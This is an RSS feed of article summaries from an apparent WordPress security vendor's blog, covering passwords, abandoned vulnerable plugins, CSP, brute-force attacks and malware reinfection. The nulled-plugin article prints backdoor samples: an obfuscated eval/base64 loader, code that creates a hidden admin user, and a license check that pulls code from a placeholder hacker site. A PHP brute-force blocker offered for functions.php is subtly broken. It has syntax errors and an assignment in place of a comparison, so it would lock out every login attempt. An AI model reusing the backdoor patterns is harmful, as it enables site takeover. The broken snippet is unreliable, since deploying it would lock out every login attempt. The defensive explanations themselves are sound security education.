					<description><![CDATA[We will explain the latest password policy (how to determine a unified password) when using WordPress with multiple administrators and editors (contributors). How to determine WordPress passwords, password policy The way passwords are determined has changed over time. Until a few years ago, periodic password changes were recommended, but now it is believed that once a strong password is created, it does not need to be changed, and double authentication is also becoming more popular. Current Recommended Password Policies Length Priority Minimum 12-16 characters. Length is the most important factor for security. Passphrase A combination of words such as correct-horse-battery-staple is effective Change only when a leak is suspected. Change only if you suspect a leak. Unnecessary forced change is counterproductive. Combination of 2FA and MFA (multi-factor authentication) Reduce reliance on single passwords Use of password managers Manage long, random passwords without using them repeatedly for each service. Match against compromised lists Match against databases such as Have I Been Pwned and block In the case of WordPress, the use of passwords similar to user IDs is also a major cause of hacking. For this reason, we recommend that you do not use passwords that contain a string of characters that includes your user ID! Why is it not necessary to change my password on a regular basis? When people are told that they must change their password every 90 days, many try to keep it to a minimum so that it is easy to remember. Here is a typical pattern we have observed in practice Sakura2024! → Sakura2025! → Sakura2026! What is the use of a password manager? The idea here is to have the application remember complex passwords, rather than having a human remember them. Browsers have a function to record passwords, but this is a password manager. There is also software that encrypts and stores passwords, such as https://keepass.info/. What is a check against a compromised list? Hackers also use the list of compromised passwords in a brute force attack to enforce login. This means that even if the passwords are long enough and random enough, the compromised passwords will not be used. One site to check for compromised passwords is https://haveibeenpwned.com/ and others. What happens if my WordPress password is weak? It is said that 20% of WordPress sites are hacked and tampered with due to weak passwords, which can lead to the loss of administrative privileges. Hackers use a list of commonly used passwords and mechanically repeat login enforcement thousands and thousands of times to try to log in. This is called a brute force attack. Please use the [Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal], a security plugin that can detect and suppress brute force attacks. It is important that you use an appropriate password policy to prevent such brute force attacks and reduce the possibility of WordPress hacking.]]></description>

					<description><![CDATA[We will explain why plug-ins can be compromised even if they are up-to-date &#8211; vulnerabilities created by &#8220;obsolete plug-ins&#8221; based on the attack patterns we have detected. There is a possibility of malware infection even though all plug-ins are up-to-date! Even if all plug-ins are up-to-date, you may be infected with malware through other sites on the server, or through vulnerabilities in obsolete plug-ins (which are not updated). In this article, we will explain the dangers of obsolete plug-ins. Obsolete plug-ins are not updated and appear to be up-to-date from the plugin management screen. Even if you are using WordPress and update your plugins for security reasons, they may appear to be up-to-date in the plugin management screen, even though they are no longer under development by their creator and have not been updated for a long period of time. (The official wordpres.org site has also stopped distributing the plugin, so automatic updates will not be applied). If such a plugin is installed on a site and a major vulnerability is discovered, the vulnerability will be left in place for a long time afterwards, increasing the likelihood that it will one day be hacked by hackers. (Although rare, plugins with a large number of installations may be subject to emergency security updates by wordpress.org or volunteers.) The following are examples of suspended plugins that we have detected as targets of hacker attacks 1. MyPixs (version 0.3 or lower) CVE: CVE-2015-1000012 Type: LFI (local file inclusion) Severity: CVSS 7.5 (High) Typical WPScan LFI vulnerability in downloadpage.php where the value of $_REQUEST[&#8220;url&#8221;] is directly passed to include(), which reads arbitrary files on the server without authentication. wp-config.php and other confidential files. No patch and development has been stopped, so immediate removal is recommended. 2. Phee&#8217;s LinkPreview (version 1.6.7 and below) CVE: CVE-2024-13464 (XSS), CVE-2025-27344 (CSRF) Type: XSS CSRF Severity: CVSS 4.3 (Medium) XSS (CVE-2024-13464) and CSRF (CVE-2025-27344) have been reported, both of which are in SolidWP status with no patch available. CSRF is a Patchstack that may allow attackers to force highly privileged users to perform unintended operations. Patchstack, a relatively new vulnerability (reported in 2024-2025), which is still left unfixed at this time. 3. WP Mobile Detector (version 3.5 and below) CVE: CVE-2016-4833 Type: Arbitrary file upload → RCE (remote code execution) Severity: Critical Astra Security can remotely upload arbitrary files to a web server by exploiting the resize.php script, allowing it to function as a web shell (backdoor) and hijack the server. CISA has also issued an advisory CISA. 4. Site Import (version 1.0.1 or lower) Type: RFI (remote file inclusion) + LFI (local file inclusion) AcunetixRFI vulnerability that allows an attacker to include and execute external malicious PHP files due to insufficient input value validation for the url parameter in admin/page.php. PoC (proof-of-concept code) is also available, which allows remote shell upload and Exploit-DB, which has been proven to both upload remote shells and read local files via directory traversal; no patch to fix and removed from official repositories. Prevents vulnerability attacks on deprecated plugins. The only way to prevent vulnerability [&#8230;]]]></description>

					<description><![CDATA[This section explains what to do if you have installed 2FA or other security plugins for WordPress and can no longer log in yourself. If you have installed a security plugin that prevents you from logging in, and you are unable to log in yourself If you use security plug-ins such as two-factor authentication (2FA), login lockdown, or change the URL of the administration screen, you may experience several login failures and your IP address may be rejected, or you may not be able to log in yourself because the URL of the login screen is no longer known. If you have any questions, please feel free to contact us. If you are blocked by the login lockdown, you may be able to log in again in a few hours, depending on the security plugin&#8217;s time limit setting. In this case, we will explain two ways to get logged in again. 1 Rewrite database information In many cases, security plugin settings are written in the database. Upload database browsing software such as Adminer to your server, connect to the database based on the database connection information in wp-config.php, and view or change the settings in the following way. Find out where to change the database login URL. If you are unsure of the login URL, search the option_name and option_value columns of the wp_option table for strings such as &#8220;login&#8221; to find the corresponding record, as the URL to change is often recorded in the wp_option table. Rewriting IPs for login lockdown You may be able to remove the login lockdown by rewriting the record of the target IP address. Check your IP, search the wp-option table or the database table created by the security plugin with this IP, and see if it is a record of a lockdown IP, and then change the IP number recorded in the database to avoid the login lockdown. Then you can avoid the login lockdown by changing one of the IP numbers in the database. 2 Disable the plugin A simpler method is to temporarily disable the relevant security plugin, log in, and then re-enable the plugin after logging in and rewrite the security plugin settings, etc. If you connect to the server using FTP software and rename the folder wp-content/plugins/security plugins by adding _ to the folder name, the plugin may be disabled and you will be able to log in. Default WordPress login URL https://wordpress url/wp-login.php Some security plugins have complex structures, such that renaming a folder may cause file loading problems, making the entire site inaccessible. In this case, you will need to rename the folder back to its original name, check the relevance of the files, and deactivate the plugin. Do I need to enhance the WordPress login screen? It is highly likely that you do not need to enhance the WordPress login screen with 2FA or other means to begin with. 60-70% of successful WordPress hacks are caused by plugin vulnerabilities. If the login password is strong, there is no chance that a hacker can log in with administrative privileges [&#8230;]]]></description>

					<description><![CDATA[We will explain actual cases of WordPress plug-ins becoming malware due to acquisition by another company or hijacking of wordpress.org accounts, and how to prevent this from happening in advance. Can plugins distributed from the official WordPress website contain malware? Plugins distributed from the official WordPress website are open source, meaning that their code is available to technicians from all over the world, and they are constantly checked for malware by volunteer private developers, security companies, and WordPress operators. For this reason, although it is rare, there have been several cases where plug-ins (including updates) distributed from the official site have been infected with malware and have been distributed. 1 Display Widgets malware contamination case 2017 Display Widgets was a popular plugin used by about 200,000 sites, but the developer sold the plugin to a third party for $15,000. With the subsequent v2.6.0 release, malware was introduced by that third party, and numerous sites that updated to this version or installed Display Widgets were affected by the malware. (According to one theory, tens of thousands of sites). The timeline of this incident is as follows May 19, 2017. Former developer sells plugin to third party (under the name Mason Soiza) for $15,000 June 21, 2017 New owner releases first update v2.6.0. Malware code is secretly inserted at this point. June 22, 2017 SEO consultant David Cameron Law discovers an anomaly in v2.6.0; reports to WordPress.org that it is downloading over 38MB of external code and sending user IP addresses, viewed pages, domains, etc. to a third-party server June 23, 2017. WordPress.org Removes Plugin from Repository (1st time) June 30, 2017 Attacker releases v2.6.1, which includes geolocation.php but is &#8220;not recognized as malicious code&#8221; and allowed to be reposted. New exploit adds ability to hide spam content from view for logged-in users. July 1, 2017 WordPress.org removed (for the second time) July 6, 2017 Released v2.6.2, keeping geolocation.php and adding ON/OFF option to &#8220;make it look legit&#8221; July 23, 2017 Another user reports spam delivery. July 24, 2017 WordPress.org removed (for the 3rd time) September 2, 2017 v2.6.3 is released. Malware is still intact and even bug fixes are made, deemed &#8220;clearly intentional maintenance&#8221;. September 8, 2017 WordPress.org permanently removed (4th and final) As you can see from the history, when a plugin contains malware, it is discovered within 1-20 days, and WordPress officials have stopped distributing that plugin within 20 days even in this weasel-worded case. This case was the first time ever that a malicious plugin acquirer said it had fixed the problem multiple times, but in fact continued to maliciously introduce malware. 2 Social Warfare Malware Contamination Case 2024 The Social Warfare plugin malware contamination incident was not an acquisition, but a malware contamination incident that occurred when hackers took over the Social Warfare development management screen (plugin upload management and other functions of wordpress.org). This is said to be a strong possibility, and the investigation is still ongoing. June 22, 2024. Malicious code was introduced into Social Warfare, distributed as an automatic update via WordPress.org. June 22, 2024. WordPress.org [&#8230;]]]></description>

					<description><![CDATA[There are cases where WordPress is infected with malware even though WordPress itself and all plugins are up-to-date. We will explain the real route of entry in this case. Intrusion route 1: Unauthorized login to the management screen Twenty percent of the time, WordPress is hacked and tampered with because hackers are able to determine the password for administrative privileges and log in. Once a hacker is able to log in to the WordPress administration panel, they can do almost anything they want on the server, including defacing the site, installing unauthorized plug-ins, and uploading viruses. Hackers can use a variety of common password dictionaries to find out the login password for administrative privileges in what is called a brute force attack, in which the login enforcement is automatically repeated tens of thousands of times. We recommend that you use a password that is at least 12 characters long, is a random string of characters, and contains at least one single-byte alphanumeric character (upper and lower case) and one symbol. It is also dangerous to use a password that is close to your administrator ID. Intrusion route 2: Unauthorized login via test site The above unauthorized logins are equally dangerous with respect to test sites. Even if you think that the test site is undetectable, its URL or folder can be discovered by a search engine. We recommend that the administrator password for the test site be a random string of at least 12 characters, including at least one upper and one lower case alphanumeric character and one symbol. Intrusion route 3: Infection via another site on the server Some recent malware spreads infection automatically by scanning the folder structure on the server. If there are multiple sites sharing the same parent (Root) folder on the server, malware infection may spread through other sites. For this reason, it is necessary to remove unnecessary sites from the server, and to take security measures such as increasing the strength of the administrator&#8217;s password for all sites on the server, updating and vulnerability scanning to close the vulnerabilities. The following plug-ins can be used to easily perform vulnerability countermeasures and malware scanning of all sites on the server. We hope you will make use of it. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. Intrusion route 4 Vulnerability of the server itself In some cases, more fundamental vulnerabilities in the server&#8217;s OS (Linux), server configuration software, etc. can be exploited to infect a site with malware. Vulnerabilities in operating systems and middleware (Apache, Nginx, PHP, etc.) are discovered on a regular basis, and continued use of older, unpatched versions can allow an attacker to exploit these holes to gain entry into the server itself. Key measures include Regular OS and software updates, disabling unnecessary services and ports, configuring firewalls, strengthening SSH connections, installing a WAF (Web Application Firewall), regular log monitoring and tamper detection etc. However, on shared servers, these measures are taken by the server management company. (In many cases, the site operator is required to update the PHP version [&#8230;]]]></description>

					<description><![CDATA[Here is a simple PHP code (in functions.php) that detects a brute force attack on wordpress and blocks that IP for 1 hour. Brute force attacks can sometimes slow down a site significantly! A brute force attack is an attack that attempts to log into a site using a dictionary of tens of thousands of passwords. This attack causes excessive access to the site and database, which can slow down the site and create huge log files. Brute force attacks can be detected by the server log file or by a security plugin, since excessive access to wp-login.php is recorded in the server logs. A simple program to block brute force attacks Here is a simple PHP code to detect and stop a brute force attack. (It works if you put it in functions.php) add_action( 'login_init', function() { if ( $_SERVER['REQUEST_METHOD'] === 'POST' ) { $password = $_POST['pwd'] ? ''; if($password = "123456"){ $user_ip = $_SERVER['REMOTE_ADDR']; set_transient( 'blockip_'. $user_ip , $user_ip, HOUR_IN_SECONDS ); } } }); add_action( 'after_setup_theme', function() { $user_ip = $_SERVER['REMOTE_ADDR']; if(get_transient( 'blockip_'. $user_ip )==$user_ip){ wp_die("Access to the site has been blocked for 1 hour"); } } }); This code blocks a hacker who has made a brute force attack on the wp-login.php login screen for one hour. In add_action( &#8216;login_init&#8217;), we check if the password string sent at login is 123456, the most common password in the dictionary of brute force attacks used by many hackers, and if it is, we add the IP (the hacker&#8217;s computer If so, the IP (address of the hacker&#8217;s computer) is stored in transient, which is maintained for only one hour. Then add_action( &#8216;after_setup_theme&#8217;) retrieves the IP of the user accessing the site, checks if there is a corresponding transient value, and if so, blocks access to the site. (The transient will disappear automatically after an hour, so you will only be blocked for one hour.) If you really use the password 123456, you will not be able to log in anymore. 123456 is part of the dictionary of many brute force attacks, so we recommend that you never use it! This code is simple and may work if you have a brute force attack on wp-login.php and are having trouble with excessive access. However, some brute force attacks can also be used to gain excessive access to xmlrpc.php. For more comprehensive brute force attack detection and defense, we recommend the use of a security plugin.]]></description>

					<description><![CDATA[We will explain why you may not notice that your WordPress site has been tampered with and how to create a mechanism for early detection. Why you may not notice that your WordPress site has been tampered with. Increasingly, WordPress sites are hacked and defaced and go unnoticed for long periods of time. The reason for this is that malware may have mechanisms in place to hide the defacement of the site from the administrator, or it may only manifest itself in rare instances. Such stealthy malware often has the following features Symptoms appear only when the site is accessed from Google search results. Once symptoms (such as misdirection to other sites) appear, COOKIE is used to prevent symptoms from appearing for a while. The system is designed so that users who are logged in with administrator privileges do not experience symptoms. Even if illegal links are inserted in the site by SEO spam, they are hidden by transparency or extremely small display on the appearance of the site. What should I do if I receive a complaint from a customer that the site jumps to an incorrect page without their permission, or that they cannot view the site? If you receive such a complaint, the site administrator can check the symptoms and find that the symptoms do not occur while logged in, or the malware may have already been configured to prevent the symptoms from occurring when accessed from your IP address. In such cases, we recommend that you first check to see if the symptoms really do not occur by using the following methods. 1. Log out of the WordPress site. 2. Delete all cache and cookies in incognito mode or in your browser. 3. Access the site again to check for any unauthorized behavior. 4. Delete all browser cache and cookies again. 5. Enter the URL of your site into a search engine and click on the link in the search results to see if any malware symptoms appear. 6. Check the above on your smartphone as well (some malware may only show symptoms on smartphones). We also recommend using an external inspection site such as Sucuri SItecheck. (This site simulates access from Google to externally detect malware on your site, so you can think of it as automatically performing the above checks.) https://sitecheck.sucuri.net/ https://malware-scan.website-malware-removal.com/ The best way to detect malware is to exhaustively inspect every file from the inside of the site External inspection tools, such as Sucuri, have much lower detection rates than those that exhaustively inspect files from within the site. In general, the code that creates the output (the malware itself) is always present somewhere, rather than the code that expresses the symptoms of the malware&#8217;s output, and is characterized by very long code, making it much easier to detect. Please use a plugin that performs a comprehensive scan of your WordPress site for malware from the inside.

					<description><![CDATA[A brute force attack may be the cause of the frequent 504 and 403 errors on your WordPress site. We will explain the symptoms and how to deal with this issue. Server overload due to brute force attack A brute force attack is an attack technique that uses the WordPress administrator&#8217;s ID (which is relatively easy to obtain) and a dictionary of tens of thousands of commonly used passwords to repeatedly perform login enforcement, eventually attempting to match the password and successfully log in. If the password is strong enough, the login will not be successful. However, this attack may cause tens of thousands of accesses to the server in a short period of time, resulting in frequent 504(*) or 403 errors. What are 504 and 403 errors? A 503 error is an error where the server is overloaded and stops processing before retrieving data or displaying the site. Some servers (e.g., major shared servers) may also have a 403 error, which automatically bounces the process when the server is overloaded. How can I find out if my site is being brute-force stacked? One way to check if your site is being brute-forced is to look at the server logs. wp-login.php and xmlrpc.php may be brute-forced if they record excessive accesses. A security plugin can also detect brute force attacks. You can detect brute force attacks with the Hack Monitor feature enabled in the [Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. The recorded brute force attacks are shown in the figure below To resolve the overload caused by brute force attacks Here are some measures to resolve server overload caused by brute force attacks. Eliminate log bloat Brute force attacks can increase the server load by bloating the site&#8217;s access logs, access analysis, and security logs. (If there are millions of logs in the database, simply writing new logs can slow down the site significantly and cause 503 errors.) In this case, it is possible to reduce the number of logs or prevent new logs from being recorded, thereby reducing the likelihood of 503 errors. Protect the login screen We can protect the login screen by preventing access to wp-login.php and xmlrpc.php, which are vulnerable to brute force attacks, by using security plugins, etc., or by preventing excessive access to these files. It is also effective to block access to the hacker&#8217;s site by directly blocking the IP of the brute force attacker, thereby preventing the hacker from gaining access to the site. Reference Why and How to Prevent WordPress Brute Force Attacks with Login Screen Security Alone We hope this was helpful.]]></description>

					<description><![CDATA[We will explain why WordPress brute force attacks cannot be prevented by login screen security alone and what to do about it. What is a brute force attack? A brute force attack is an attack that attempts to successfully log in as an administrator by repeating the WordPress login enforcement thousands and thousands of times by predicting the password. Once a hacker is able to log in as a WordPress administrator, they can do anything they want, including modifying files, hosting unauthorized files, and installing unauthorized plugins via the WordPress administration screen. Hackers have a dictionary of commonly used passwords and will use this dictionary to conduct an automatic brute force attack. This attack can cause a huge amount of traffic to WordPress and slow down the site. Brute force attacks cannot be prevented by login screen security alone. There are two types of brute force attacks: one is by sending login information to wp-login.php, the WordPress login program, and the other is by using the XMLRPC mechanism. For this reason, it is not possible to prevent brute force attacks by simply adding a capture to the login screen or changing the login screen URL. What is the brute force attack method using XMLRPC? XMLRPC is a mechanism that allows WordPress to create posts from the outside via the Internet. If the login information is incorrect, an error message is output. By analyzing this error message, it is possible to determine whether the login was successful or not, thus enabling a brute force attack. How can I prevent brute force attacks on both the login screen and XMLRPC? Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal]. This section explains how to prevent brute force attacks on both the login screen and XMLRPC using the After downloading and installing the plugin, select &#8220;High&#8221; in the Malware Scan > Security tab of the administration page and save the settings. This will enable the Login Lockdown, Login Capture, Password Reset Capture, and Prevent Excessive Access to XMLRPC features and enable the security features to prevent brute force attacks on both the login screen and XMLRPC. Monitor brute force attacks and block IPs It is also possible to monitor brute force attacks and block IPs. On the plugin&#8217;s administration page, under the &#8220;Hack Monitor &#038; IP Blocker&#8221; tab, check the Enable Hack Monitor checkbox and save the settings. This will allow you to monitor, detect, and record brute force attacks and vulnerability attacks by hackers. The recorded hacker attacks can then be used to block the hacker&#8217;s IP. By blocking the hacker&#8217;s IP, the hacker will no longer be able to brute-force attack on that IP. We hope this helps.]]></description>

					<description><![CDATA[We will explain five blind spots that are more dangerous for WordPress operators who think they have security measures in place. They are taking security measures only for the login screen. Around 20% of WordPress hacks are caused by weak passwords for administrative privileges, which allow hackers to take away administrative privileges. Hackers use brute force attacks, which are often used to test the administrator&#8217;s password one after the other to see if it can be used to log in. In fact, the most effective way to counter this attack is to strengthen the password for administrator privileges rather than increasing the security of the login screen. Since it takes more than a thousand years to match a strong password, which is logically a random string of 12 or more characters, with a brute force attack, it will be impossible to break a strong password. A strong password is a random string of nonsense characters that contains at least one uppercase and one lowercase symbol. We also hope you will note that changing the URL or captcha of the login screen is effective in preventing brute force attacks, but it alone will not prevent the vulnerability attack, which is the biggest cause of WordPress being hacked, as described below. Only enabled plugins care about vulnerabilities. It is said that 60% of the causes of WordPress being hacked are vulnerabilities in old plugins. Therefore, it is an extremely effective security measure to always be aware of the vulnerabilities of your plugins and update them on a regular basis. However, although WordPress allows you to enable and disable plugins, there are many vulnerabilities that can be exploited even if they are disabled. For this reason, we recommend that you remove deactivated plug-ins if possible, or update deactivated plug-ins as well. Please use our vulnerability database to check the vulnerability of plug-ins. No security measures have been taken for the test site or other sites on the server. We often see cases where a company has taken all the necessary security measures for its main WordPress site, but has neglected to secure its test site or other WordPress sites on the server. However, many of today&#8217;s malware reads the folders on the server from the top and spreads itself to other WordPress sites. This can lead to the spread of malware to other WordPress sites that have good security measures in place. We recommend that you remove abandoned sites from your server and implement security measures for all WordPress sites on your server. Five free WordPress security measures Backups are a good thing! Some people think that if they keep a backup of their WordPress site, they can revert to that point in time in the event of a malware infection, but in reality, the site may already contain malware at the time of backup, or the vulnerability at the time of backup is an entry point that hackers can quickly use to re-infect the site. Hackers can use the vulnerability to re-infect the system repeatedly. For this reason, it is not always safe to [&#8230;]]]></description>

					<description><![CDATA[We will explain why nulled (illegally distributed) WordPress themes/plugins are dangerous. What is a nulled theme/plugin? There are many sites that host and distribute various paid WordPress themes and plugins, or programs that have been removed from the official directory or suspended from distribution, without permission, such as by removing the license certificate. Such unauthorized distribution from sites that are not official distribution sites (especially programs that have had their licenses removed) is called nulled themes and plugins. (Nulled themes and plug-ins may contain malware or backdoors. In addition to programs that bypass the license authorization process, nulled themes and plug-ins may, although not 100% of the time, contain backdoors, which are portals that allow hackers to modify server data. For this reason, it is safer not to use nulled themes or plug-ins. Some specific examples of how malware can be included are listed below. eval(base64_decode($code)); eval(gzinflate(str_rot13(base64_decode('Sy1LzNFQy8xLVShJLEnV...')))) ; base64_decode gzinflate hides (obfuscates) the contents of the malicious code and executes arbitrary code with eval(). The reality is a backdoor. add_action('*****', function() { if (!username_exists('support')) { wp_******_user('support', 'P@ssw0rd!', 'support@example.com'); } }); Generates an invalid user (some of the code has been withheld because it is dangerous) function theme_license_check() { $data = file_get_contents('hacker site'); As shown above, some code disguised as a license can be used to notify an unauthorized destination of its own existence, or to pull down and execute unauthorized code. Unknowingly using a nulled (illegally distributed) theme/plugin If you have outsourced the creation of your site, the production company you outsourced to may have used a nulled theme/plugin. This often leads to hackers attacking your site and spreading malware throughout the site. To some extent, malicious code in nulled themes and plugins can be detected by malware scanning plugins. We recommend that you run a malware scan once your site has been delivered by an outsourced vendor.

					<description><![CDATA[People say it&#8217;s dangerous not to update your WordPress&#8230; I&#8217;ll explain exactly what happens if you don&#8217;t update your WordPress. Why updating WordPress itself and plugins is important for security If you run a WordPress site, you are often told that updates are important for security. This is simply because updates often close vulnerabilities that are exploited by the program&#8217;s creators. The following is an explanation of how a site that is not updated can be hacked. 1 A vulnerability is discovered that could very easily allow an unauthorized file to be uploaded onto the server or a database to be rewritten. About 10 to 20 such vulnerabilities are discovered each year, and the information is made public to alert the public. However, it is also a double-edged sword, as many hackers use this public information to study how to exploit the vulnerabilities and hack. Hackers themselves sometimes discover major vulnerabilities that no one else is aware of before others do. Such vulnerabilities are called 0-day vulnerabilities. However, sooner or later, vulnerabilities that are used will be exposed by someone through server logs, etc., and shared as public information. 2 When a vulnerability is disclosed, the creator of the plugin, etc., patches the vulnerability to close it and releases an update In most cases, the vulnerable plug-in producer is notified of the vulnerability and releases a new version of the plug-in with a patch to close the vulnerability. 3 Hackers create tools to attack vulnerabilities and attack a vast number of WordPress sites one after another! Hackers obtain a huge list of WordPress sites from search engines and other information, develop a program that automatically attacks vulnerabilities found in 1 and notifies them if the hack is successful, attack hundreds of thousands of sites one after another, and repeatedly gain unauthorized access to the sites with the mindset that success is a blessing. If they succeed, they are satisfied. 4 Successful attack on your site&#8217;s vulnerability by chance If you do not update your site, the vulnerability will be left unattended on your site and will one day be hit by a hacker who will automatically attack a vast number of sites one after another. The hacker will be notified of a successful attack, and a more dangerous backdoor, a malicious program, will be installed on your server. 5 Hackers perform various hacking activities on the successfully attacked site Hackers can perform a wide variety of activities on a site after a successful vulnerability attack, such as generating a large number of malicious pages, creating users with illegal administrator privileges, altering the theme to misdirect visitors to another site, and using the site as a source of spam mail. At this point, it often becomes apparent to the site operator that the site has been tampered with. 60% to 70% of sites that are hacked are due to plugin vulnerabilities. It is said that 60-70% of sites are hacked due to vulnerabilities in plug-ins (the next most common cause is the hijacking of administrator privileges due to weak passwords). It is very [&#8230;]]]></description>

					<description><![CDATA[This section explains how to exclude WordPress CSP settings from the admin screen. How to deal with WordPress admin screen collapsing or malfunctioning with CSP (Content Security Policy). CSP (Content Security Policy) specifies how external scripts such as JAVASCRIPT and CSS on a website are loaded into the browser, preventing unauthorized scripts from being loaded into the browsers of users accessing the site, It is a mechanism to prevent cross-site scripting. However, if CSP is set too strictly, it often results in malfunctions, such as corruption of the WordPress administration screen layout and partial disabling of some functions. However, if the CSP setting is too lax, security will be compromised. For this reason, it is best to separate the WordPress administration screen from the site&#8217;s display area to ensure a high level of security for visitors to the site, and to reduce the possibility of problems with the administration screen. Apply CSP settings only to the display part of the site and exclude the administration screen. 1 When CSP is output with add_action For example, if you are outputting CSP settings with the following code add_action('send_headers', function () { header( "Content-Security-Policy: default-src 'self';" ); }); For the WordPress admin page, you can apply the CSP settings only to the display part of the site by including the IF statement to exclude. ↓Example of modification add_action('send_headers', function () { if (is_admin()) { return;//if wordpress admin screen, do nothing and return. } header( "Content-Security-Policy: default-src 'self';" ); }); 2 If you are outputting CSP with htaccess If you are using htaccess, use SetEnvIf to exclude CSP adaptation in the admin &#60;IfModule mod_setenvif.c&#62; SetEnvIf Request_URI "wp-admin" no_csp &#60;/IfModule &#60;IfModule mod_headers.c&#62; Header set Content-Security-Policy "default-src 'self'" env=!no_csp &#60;/IfModule&#62; The second line makes Apache recognize the environment variable no_csp if the URL contains wp-admin. Then on the last line add env=!no_csp to the CSP configuration so that the CSP configuration is output in the header only if the environment variable is not no_csp. *SetEnvIf seems to work for X server and Sakura, but it may not work for some servers. In this case, it may be better to use the add_action method to set CSP settings to exclude the admin page. However, it seems that the add_action method may not work correctly when used in conjunction with cache plugins. We would appreciate it if you could take this into consideration. CSP settings that exclude the administration screen as described above can be easily specified with the security plugin we have developed. Please use it if you wish.

					<description><![CDATA[This section explains how to exclude wp-admin from the CSP settings in WordPress. The CSP content security policy setting causes various problems in the wordpress admin. CSP is a setting that allows the browser to load various external javascripts and styles, but the WordPress administration screen makes extensive use of inline scripts and styles. However, the WordPress admin screen is not designed to be used for this purpose. However, if the csp settings are loosened for the WordPress admin screen, it will not make much sense from a security standpoint. Place a .htaccess file in the wp-admin folder and disable CSP settings only when accessing the WordPress administration screen. Since the wordpress admin screen can only be accessed when logged in, it is considered safe to exclude the csp setting. To exclude CSP settings only for the WordPress administration screen, create an .htaccess file in the wp-admin folder and include the following line. Header not set Content-Security-Policy This statement will mean that only the wp-admin folder will be excluded from the CSP settings by unsetting it. We hope this helps.

					<description><![CDATA[After WordPress has been tampered with, we explain why backups are dangerous. Why reinfection is repeated after restoring a site from backup? Restoring a defaced WordPress site from a backup may temporarily restore the site and make it appear that the malware symptoms have disappeared. This section explains the causes and countermeasures. 1 Malware has not disappeared If, at the time of backup, there was already a file of a type known as a backdoor, which is an entry point for hackers, that file has been restored as well. This may have caused the hacker to repeat the tampering again via that file. Also, if the file is restored by overwriting it from a backup, the type of malware that infects the legitimate file is removed from the server as is, but exists on its own. Countermeasure: When restoring from a backup, it is necessary to carefully examine whether or not there is any malware infection at the time of the backup. 2 The login password has fallen into the hands of a hacker or an unauthorized user has been registered. If a hacker already knows the login password for the site, or if an unauthorized user has been registered on the site, the hacker may be able to log in to the administration panel and continue to alter files on the server, install backdoors, add unauthorized plug-ins, etc. If a hacker is already registered on your site, he or she will be able to log in to your site. Countermeasure: Changing the password for administrative privileges and removing unauthorized users are effective countermeasures. 3 Process is infected with malware. If a server process (not a file, but a form of malware that keeps running in memory) is infected with malware, it cannot be erased even if restored from a backup site. Countermeasure: It is necessary to investigate whether any malware continues to run on the server process and stop the malicious process if it exists. Reference Word How to stop and detect malware residing in a process in WordPress How to check if malware is deployed in a process (memory) on a WordPress site 4 Vulnerabilities can also be restored Restoring a site from a backup can restore the vulnerabilities in the site that allowed the hacker to get into the site in the first place. If you restore from a backup, we recommend that you also take measures to plug the vulnerabilities, such as updating plugins and WordPress itself. 5 The site has been reinfected via another site on the server. Many malware nowadays spread infection via another site on the server (a site that shares the root folder), going beyond the site folder for each domain. For this reason, it is advisable to perform malware scanning and vulnerability countermeasures on all sites on the server, not just those that are showing symptoms of malware.

					<description><![CDATA[If default-src and script-src in the CSP Content Security Policy are set at the same time, this section explains which has priority. What is the CSP Content Security Policy? CSP Content Security Policy (CSP Content Security Policy) is a policy that specifies which types of sources (scripts, images, stylesheets, etc.) are allowed to be loaded and from where, to prevent XSS (Cross Site Scripting: an attack in which external scripts are executed on a site) and, to some extent, to prevent users accessing the site from executing such malicious scripts even if malicious code is embedded due to site tampering. It can be implemented by writing settings in the HTACCESS file. This can be implemented by writing the settings in the HTACCESS file. CSP has been implemented in many corporate sites in recent years, and some vendors require that it be properly configured for internal auditing purposes. What happens if default-src and script-src are set at the same time? CSP specifies the source of the source to be loaded for each item, such as default-src (batch specification) and script-src (specification of JAVASCRIPT loading) in HTACCESS, as shown below. The following is an example of a very strict setting that allows scripts to be loaded only within the domain of your site. Header set Content-Security-Policy "default-src 'self'; script-src 'self';" What happens if default-src (specified in bulk) and other settings such as script-src are out of sync? The following settings are: default-src (batch specification) for self (only own domain is allowed), script-src is https://cdn.example.com, https://api.example.comの2ドメインからのスクリプトの読み込みが許可されるという意味に The following settings are used. Header set Content-Security-Policy "default-src 'self'; script-src https://cdn.example.com https://api.example.com;" A common mistake is that the script-src setting is combined with default-src. In other words, it is often mistakenly assumed that the sources that can be loaded by script-src are &#8216;self&#8217; (own domain) and https://cdn.example.comかつhttps://api.example.com;. In fact, however, they are not combined, and &#8220;default-src &#8216;self'&#8221; is overridden and ignored by the script-src setting. This means that the only sources that can be read by script-src are the two domains https://cdn.example.com https://api.example.com;. If you want to allow your own domain in script-src, you need to specify self again as shown below. Header set Content-Security-Policy "default-src 'self'; script-src 'self' https://cdn.example.com https://api.example.com;" The default-src will be overwritten (replaced) by other settings, but it is easier to understand if you think of it as a kind of insurance policy that allows you to specify all items that are not set at once. We hope this helps. Free WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal].]]></description>

					<description><![CDATA[Hackers may install malicious plugins (wp-cleansong, wp-cache, optimize-core, system.php, etc.) once they have successfully infiltrated a WordPress site. This section describes how to deal with the installation of such unauthorized plug-ins. Rogue plug-ins introduced by hackers Once hackers have successfully infiltrated a WordPress site, they may install a type of malicious program called a backdoor in the server to facilitate various subsequent unauthorized activities on the server, such as tampering or sending spam emails. This backdoor may take the form of a plugin that runs on WordPress and may be installed and activated unknowingly. There are also attacks that use a legitimate PHP-running plugin plus malicious code to write to the database. Reference WPCode &#8211; Malware embedded in database via Insert Headers and Footers plugin How to tell if a plugin is malicious Malicious plug-ins may masquerade as security plug-ins, update plug-ins, etc., in order to appear harmless. If you see a suspicious plugin in the list of plugins in the WordPress administration screen, you can use the following methods to identify the plugin to some extent. 1 Plug-in does not exist on the official WordPress website WordPress plug-ins are listed on the official WordPress website according to the following rules. https://wordpress.org/plugins/"Slug"/ *Slug is the name of the plugin folder in wp-content/plugins. If a plugin is not listed as an official plugin and you do not remember installing it, it may be a rogue plugin installed by a hacker. 2 Code is obfuscated Hackers often obfuscate the code to hide the original function of the malicious code. If you download and open the code of a plugin using FTP software and find obfuscated code such as the following, it may be a malicious plugin installed by a hacker. 3 There is a file in the plugin folder that is judged as malicious code by the malware scan. Free WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and 